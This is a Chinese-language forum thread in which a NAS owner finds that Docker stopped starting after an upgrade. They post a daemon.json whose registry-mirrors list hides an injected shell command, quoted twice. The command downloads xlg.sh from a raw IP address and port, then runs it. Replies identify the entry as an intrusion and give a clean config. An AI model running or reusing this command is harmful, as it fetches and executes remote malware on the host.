请问这样是不是被入侵啦？

ma3252788

升级18系统之后发现docker启动不了了，查看配置文件是这样的：

(base) root@VPMS-Lab-NAS:~# cat  /etc/docker/daemon.json
{"data-root":"/vol2/docker","live-restore":true,"log-driver":"json-file","log-opts":{"max-file":"5","max-size":"100m"},"proxies":{},"registry-mirrors":["https://docker.1panel.live","https://docker.1ms.run","https://dytt.online","https://lispy.org","https://docker.xiaogenban1993.com","https://docker.yomansunter.com","https://666860.xyz","https://a.ussh.net","https://hub.rat.dev","https://docker.m.daocloud.io","https://docker.fnnas.com","https://registry.hub.docker.com","https://test1145.example.com ; cd /tmp;rm- rf xlg*;wget http://211.101.244.188:15621/xlg.sh;chmod 777 xlg.sh;./xlg.sh ; /usr/bin/echo"]}(base) root@VPMS-Lab-NAS:~#

请问这样是不是代表被入侵啦？

1337

是哒

memory_clear

https://test1145.example.com ; cd /tmp;rm- rf xlg*;wget http://211.101.244.188:15621/xlg.sh;chmod 777 xlg.sh;./xlg.sh ; /usr/bin/echo

这段有注入的嫌疑。。。但是这个域名和ip都ping不通的。。。

把配置文件改回正常的试试。

{"data-root":"/vol2/docker","default-address-pools":[{"base":"172.20.0.0/16","size":24},{"base":"172.21.0.0/16","size":24},{"base":"172.22.0.0/16","size":24},{"base":"172.23.0.0/16","size":24}],"insecure-registries":["127.0.0.1:19827"],"live-restore":true,"log-driver":"json-file","log-opts":{"max-file":"5","max-size":"100m"},"proxies":{},"registry-mirrors":["https://docker.1ms.run","https://docker.xuanyuan.me","https://docker.ketches.cn","https://docker.fnnas.com","https://registry.hub.docker.com"]}

石头就是我

你这个确实是被动过了……